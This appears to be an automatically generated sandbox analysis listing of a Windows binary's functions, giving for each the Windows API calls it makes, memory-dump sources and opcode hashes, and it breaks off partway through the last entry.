Function 009C8EE4 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 009C8F40
GetProcAddress.KERNEL32(00000000,?), ref: 009C8FD0
GetProcAddress.KERNEL32(00000000,00000000), ref: 009C8FEC
GetProcAddress.KERNEL32(00000000,?), ref: 009C9032
FreeLibrary.KERNEL32(00000000), ref: 009C9052

Part of subcall function 0095F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,009B1043,?,753CE610), ref: 0095F6E6
Part of subcall function 0095F6C9: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,0099FA64,00000000,00000000,?,?,009B1043,?,753CE610,?,0099FA64), ref: 0095F70D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: f93d8462571cea77b072e35e551728114e5318488db619ee6da2ecc9919ce890
Instruction ID: 0311a49f0d2ec70c3c946aa351a5410a2d1f6590e14f4a86a2714ffbf7e8635c
Opcode Fuzzy Hash: f93d8462571cea77b072e35e551728114e5318488db619ee6da2ecc9919ce890
Instruction Fuzzy Hash: 85512A35A05205DFC711DF58C494EAEBBF5FF49314B0480A9E80AAB362DB31ED86CB91

Function 009D6B76 Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 009D6C33
SetWindowLongW.USER32(?,000000EC,?), ref: 009D6C4A
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 009D6C73
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,009BAB79,00000000,00000000), ref: 009D6C98
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 009D6CC7

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: e2789aacdcba1970f4df53b15d6d64eb4402e0a6ba4a49c53bae0f41a52478be
Instruction ID: 473164b7a2371138adc24db000eb7d6595d9418b516d8d9d812a2d5abaf1f274
Opcode Fuzzy Hash: e2789aacdcba1970f4df53b15d6d64eb4402e0a6ba4a49c53bae0f41a52478be
Instruction Fuzzy Hash: D2410635A94104AFDB24CF78CD58FA97BA9EB09350F14822AFAD5A73E0C375ED41DA40

Function 00972051 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 009720C3
_free.LIBCMT ref: 009720E3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 18906cc37655792565ed15d364ebb2e4e723c862cdf4d56fc76c155577e5f34f
Instruction ID: 5c5926b23ed1b573f277528b3d6b528ba8e8de1f2d90aabd7450a8c639f59c2a
Opcode Fuzzy Hash: 18906cc37655792565ed15d364ebb2e4e723c862cdf4d56fc76c155577e5f34f
Instruction Fuzzy Hash: 3541D233A102049FCB24DFB8C881A5DB7F5EF89324F558568EA19EB351D631AD01CB90

Function 0095912D Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00959141
ScreenToClient.USER32(00000000,?), ref: 0095915E
GetAsyncKeyState.USER32(00000001), ref: 00959183
GetAsyncKeyState.USER32(00000002), ref: 0095919D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 7ff5d38c37f4b58982f46b7e7cae68352edb6d0acd994ace4c45d35ef810f969
Instruction ID: cdddb68850dd0492bb178bc72079bf7237b5e514b20c53bd464f1c8823c1dd5d
Opcode Fuzzy Hash: 7ff5d38c37f4b58982f46b7e7cae68352edb6d0acd994ace4c45d35ef810f969
Instruction Fuzzy Hash: 4A418D71A0C61AEBDF15DFA8C844BEEB774FB45321F208216E825A2290CB346954CB91

Function 009B3874 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 009B38CB
TranslateAcceleratorW.USER32(?,00000000,?), ref: 009B3922
TranslateMessage.USER32(?), ref: 009B394B
DispatchMessageW.USER32(?), ref: 009B3955
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 009B3966

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: 54deffc1cbb9eeedc42c6613e9ce17c6aa8acde13aa78e5d3a34b78a7587eeed
Instruction ID: 74d0e7cb1e8f8158ec9aaf70c3ed579cb92bff0f71f0fa29613da632b648efc4
Opcode Fuzzy Hash: 54deffc1cbb9eeedc42c6613e9ce17c6aa8acde13aa78e5d3a34b78a7587eeed
Instruction Fuzzy Hash: 4A31E970508342EFEB35CB75DE48BF637ACAB05320F44C56DE562C60A0E7B4A685CB11

Function 009BCF1A Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,009BC21E,00000000), ref: 009BCF38
InternetReadFile.WININET(?,00000000,?,?), ref: 009BCF6F
GetLastError.KERNEL32(?,00000000,?,?,?,009BC21E,00000000), ref: 009BCFB4
SetEvent.KERNEL32(?,?,00000000,?,?,?,009BC21E,00000000), ref: 009BCFC8
SetEvent.KERNEL32(?,?,00000000,?,?,?,009BC21E,00000000), ref: 009BCFF2

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 37b010c109ab310b4ee3ccacbe8f36fb6d567ea94e94aa0c4dddf6b4b670e7ee
Instruction ID: e5d8f5f2939de42e100e3c00a156604e2f756081c99d532148dac4a93195f51d
Opcode Fuzzy Hash: 37b010c109ab310b4ee3ccacbe8f36fb6d567ea94e94aa0c4dddf6b4b670e7ee
Instruction Fuzzy Hash: 5E315EB1604206EFDB20DFA5CA84ABBBBFDEB14361B10446EF516D2140DB30EE44DB60

Function 009A1901 Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 009A1915
PostMessageW.USER32(00000001,00000201,00000001), ref: 009A19C1
Sleep.KERNEL32(00000000,?,?,?), ref: 009A19C9
PostMessageW.USER32(00000001,00000202,00000000), ref: 009A19DA
Sleep.KERNEL32(00000000,?,?,?,?), ref: 009A19E2

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 14e7cd8d128e85c792e690478fa4314a65e565bd48a1f4b38df309b5effebf49
Instruction ID: eea87c2b003c8bb9942cd18bebf96452a05b9474b5c98344d05389203a04c1c9
Opcode Fuzzy Hash: 14e7cd8d128e85c792e690478fa4314a65e565bd48a1f4b38df309b5effebf49
Instruction Fuzzy Hash: 1331C071A0421AEFCB00CFA8DD99ADF3BB9EB85315F104229F921AB2D1C7709944DB90

Function 009D5706 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 009D5745
SendMessageW.USER32(?,00001074,?,00000001), ref: 009D579D
_wcslen.LIBCMT ref: 009D57AF
_wcslen.LIBCMT ref: 009D57BA
SendMessageW.USER32(?,00001002,00000000,?), ref: 009D5816

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: f519acd691b41457ca949c0f98f386a5b57e74f0710844dcfb2e11fef585f65f
Instruction ID: a07d185bbd82040062ab13b221c062e9ab18012adec74be63dafa17d1e758de8
Opcode Fuzzy Hash: f519acd691b41457ca949c0f98f386a5b57e74f0710844dcfb2e11fef585f65f
Instruction Fuzzy Hash: 2921A071944618EADB209FA5CC84AEEBBBCFF44760F10C617E929EB294D7708985CF50

Function 0095990E Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 009598CC
SetTextColor.GDI32(?,?), ref: 009598D6
SetBkMode.GDI32(?,00000001), ref: 009598E9
GetStockObject.GDI32(00000005), ref: 009598F1
GetWindowLongW.USER32(?,000000EB), ref: 00959952

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Color$LongModeObjectStockTextWindow
String ID:
API String ID: 1860813098-0
Opcode ID: 53465cde822c0a60f1e70550fc3a82af9024ec4b8345d033f989c3b4f1a7907a
Instruction ID: 03701a48b248c345c7e091948b09b07d41dd5fe63091e58b8f607388814e5d7f
Opcode Fuzzy Hash: 53465cde822c0a60f1e70550fc3a82af9024ec4b8345d033f989c3b4f1a7907a
Instruction Fuzzy Hash: F521783118A251DFDB12CF25EC64AE53F68EF13331B08018EF9928B0A2C7354985DB51

Function 009C0930 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 009C0951
GetForegroundWindow.USER32 ref: 009C0968
GetDC.USER32(00000000), ref: 009C09A4
GetPixel.GDI32(00000000,?,00000003), ref: 009C09B0
ReleaseDC.USER32(00000000,00000003), ref: 009C09E8

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: a0aaac2870f0b5cee5ca42f5a917be6def79e7620c8deafd284b2add1a40e260
Instruction ID: c988b40fa346c57b487ea46c41a1ed6ef35b6dca8d4758973a475a28fa187f76
Opcode Fuzzy Hash: a0aaac2870f0b5cee5ca42f5a917be6def79e7620c8deafd284b2add1a40e260
Instruction Fuzzy Hash: F0215B75A04215AFD704EF65C988FAEBBE9EF88750F048469F84A97362CA30EC44DB50

Function 0097CDBD Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0097CDC6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0097CDE9

Part of subcall function 00973820: RtlAllocateHeap.NTDLL(00000000,?,00A11444,?,0095FDF5,?,?,0094A976,00000010,00A11440,009413FC,?,009413C6,?,00941129), ref: 00973852

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0097CE0F
_free.LIBCMT ref: 0097CE22
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0097CE31

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 1beae59ca33aa2aa67664c25573acdcfd6d22eeac2ea3fa420f4cdac6cccd973
Instruction ID: 14c3ba374c8ec36ca258377ce4f96490534e7bb55af0a10b5e508f8c9f081108
Opcode Fuzzy Hash: 1beae59ca33aa2aa67664c25573acdcfd6d22eeac2ea3fa420f4cdac6cccd973
Instruction Fuzzy Hash: CD0184F36066157F272116BA6C88D7BAA6DDFC6BA1315812EF909D7201EA618D0291B0

Function 00959639 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00959693
SelectObject.GDI32(?,00000000), ref: 009596A2
BeginPath.GDI32(?), ref: 009596B9
SelectObject.GDI32(?,00000000), ref: 009596E2

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: fc4604d0c9f75693a2ff75911fcc9cbba8af8c2d3fcf72a8f1da1a13d6c88296
Instruction ID: c2b50de561638af68ff8dadc2a19800c199d8ee1de71577e3fd30f12f853f5cd
Opcode Fuzzy Hash: fc4604d0c9f75693a2ff75911fcc9cbba8af8c2d3fcf72a8f1da1a13d6c88296
Instruction Fuzzy Hash: A5219270817306EFEF11DFA5EC197E97BA9BB40316F108216F960A61B0D374589ADF90

Function 009A5711 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBVCRUNTIME ref: 009A5726
_memcmp.LIBVCRUNTIME ref: 009A5744
_memcmp.LIBVCRUNTIME ref: 009A5757
_memcmp.LIBVCRUNTIME ref: 009A576F
_memcmp.LIBVCRUNTIME ref: 009A5787

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 265039a73f733815e84dfe6925487f9f6b7d62018da8e4fe4997832a36fa77fa
Instruction ID: b66b3a0e27b55227879e4fdf0cdf05b1a65206482938423a5e6895c8c98ebd4d
Opcode Fuzzy Hash: 265039a73f733815e84dfe6925487f9f6b7d62018da8e4fe4997832a36fa77fa
Instruction Fuzzy Hash: B901DD61781A15FBD21855109D53FBB735C9FA23A8F068421FD1ABF741F764EE1082E0

Function 00972DF8 Relevance: 7.6, APIs: 5, Instructions: 53COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0096F2DE,00973863,00A11444,?,0095FDF5,?,?,0094A976,00000010,00A11440,009413FC,?,009413C6), ref: 00972DFD
_free.LIBCMT ref: 00972E32
_free.LIBCMT ref: 00972E59
SetLastError.KERNEL32(00000000,00941129), ref: 00972E66
SetLastError.KERNEL32(00000000,00941129), ref: 00972E6F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 40b1bd123befda532ed2145c107b6fa9861c2bec1870d7d0125154f13d5ccef8
Instruction ID: 69b33f08bd61e9b3b340abd0d901127fe6d31b1c9fcdd04fa786e8b80f5b2962
Opcode Fuzzy Hash: 40b1bd123befda532ed2145c107b6fa9861c2bec1870d7d0125154f13d5ccef8
Instruction Fuzzy Hash: 45012877265601B7C61367746C45E2B275DAFC53B1B25C539F82DA32D3EF748C825020

Function 009A000E Relevance: 7.5, APIs: 5, Instructions: 47stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,0099FF41,80070057,?,?,?,009A035E), ref: 009A002B
ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0099FF41,80070057,?,?), ref: 009A0046
lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0099FF41,80070057,?,?), ref: 009A0054
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0099FF41,80070057,?), ref: 009A0064
CLSIDFromString.OLE32(?,?,?,?,?,00000000,?,?,?,-C000001E,00000001,?,0099FF41,80070057,?,?), ref: 009A0070

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c8a73f7df4471e164e081653fb6faf7fe24bbed1cf000101a96c25a707c29a55
Instruction ID: a0b603858df6d5ba424cf407e18d5f791b261d67c7049c70c965af286f6fa8a6
Opcode Fuzzy Hash: c8a73f7df4471e164e081653fb6faf7fe24bbed1cf000101a96c25a707c29a55
Instruction Fuzzy Hash: DF01DBB2615229BFDB104F68DC04FAA7BAEEB88392F104125F905D2210E770CD80EBA0

Function 009AE97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 009AE997
QueryPerformanceFrequency.KERNEL32(?), ref: 009AE9A5
Sleep.KERNEL32(00000000), ref: 009AE9AD
QueryPerformanceCounter.KERNEL32(?), ref: 009AE9B7
Sleep.KERNEL32 ref: 009AE9F3

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: d7a322952dd66db8a72198541f874418b425586958d03d9458053a8e5af6a805
Instruction ID: 2426c5a419cdfa0904f475e96f5677d6283a0b44e72968f2d42ffdc9fff6620b
Opcode Fuzzy Hash: d7a322952dd66db8a72198541f874418b425586958d03d9458053a8e5af6a805
Instruction Fuzzy Hash: 4A016971C0AA2EDBCF00AFE5DC49AEEBB78FF4A300F000546E502B2240CB349590DBA1

Function 009A10F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 009A1114
GetLastError.KERNEL32(?,00000000,00000000,?,?,009A0B9B,?,?,?), ref: 009A1120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,009A0B9B,?,?,?), ref: 009A112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,009A0B9B,?,?,?), ref: 009A1136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 009A114D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 39f1d2ec7086de31943d75c80c315caa0aa8ccc253646fdffb06c74d9b7692be
